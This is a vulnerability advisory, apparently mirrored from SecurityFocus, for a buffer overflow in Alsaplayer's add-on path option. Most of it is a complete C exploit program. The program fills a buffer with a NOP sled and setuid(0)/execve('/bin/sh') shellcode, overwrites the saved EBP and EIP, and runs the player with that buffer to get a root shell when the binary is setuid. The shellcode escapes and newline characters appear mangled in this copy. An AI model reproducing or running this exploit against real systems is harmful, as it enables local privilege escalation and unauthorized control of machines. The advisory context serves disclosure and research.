source: http://www.securityfocus.com/bid/5767/info
Alsaplayer is a PCM player that utilizes the ALSA libraries and drivers. It is availabe for Linux and Unix platforms.
A vulnerability has been discovered in Alsaplayer. By specifying an overly long "add-on path", it is possible for an attacker to overrun the buffer, potentially allowing for execution of attacker-supplied code.
It should be noted that although Alsaplayer is not installed setuid by default, it is common practice for users to add a setuid bit to obtain certain functionality.
/*
* Alsaplayer exploit for a buffer overflow found by KF (snosoft.com)
*
* This program is not installed with special permissions by default.
* However, the author himself does recommend to do so under certain
* conditions:
*
* http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000656.html
* http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000657.html
*
* Author: zillion[at]safemode.org (09/2002)
*
* Tested on Red Hat 7.3 linux with alsaplayer-devel-0.99.71-1
*
*/
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#define BUFFER_SIZE 1056
#define NOP 0x90
#define RET 0xbfffe440
char shellcode[]=
"xebx26x5ex31xc0x89xc3x89xc1x89xc2xb0xa4xcdx80"
"x31xc0x88x46x07x8dx1ex89x5ex08x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xd5xffxffxff"
"x2fx62x69x6ex2fx73x68";
void print_error(char * burb) {
printf(" Error: %s !n",burb); exit(0);
}
void usage(char *progname) {
printf("n*--- -- - Alsaplayer b0f exploit - -- ---*n");
printf("nDefault: %s -f /path/to/alsaplayer",progname);
printf("nOption : %s -o <offset>nn",progname);
exit(0);
}
int main(int argc, char **argv){
char buffer[BUFFER_SIZE];
char file[30];
long retaddress;
int arg,offset=500;
struct stat sbuf;
if(argc < 2) { usage(argv[0]); }
while ((arg = getopt (argc, argv, "f:o:")) != -1){
switch (arg){
case 'f':
strncpy(file,optarg,sizeof(file));
if(stat(argv[2], &sbuf)) { print_error("No such file");}
break;
case 'o':
offset = atoi(optarg);
if(offset < 0) { print_error("Offset must be positive");}
break;
default :
usage(argv[0]);
}
}
retaddress = (RET - offset);
memset(buffer,NOP,BUFFER_SIZE);
memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);
/* Overwrite EBP and EIP */
*(long *)&buffer[BUFFER_SIZE - 8] = retaddress;
*(long *)&buffer[BUFFER_SIZE - 4] = retaddress;
if(execl(file,file,"-p",buffer,NULL) != 0) {
print_error("Could not execute alsaplayer ");
}
return 0;
}
CVE编号
CNNVD-ID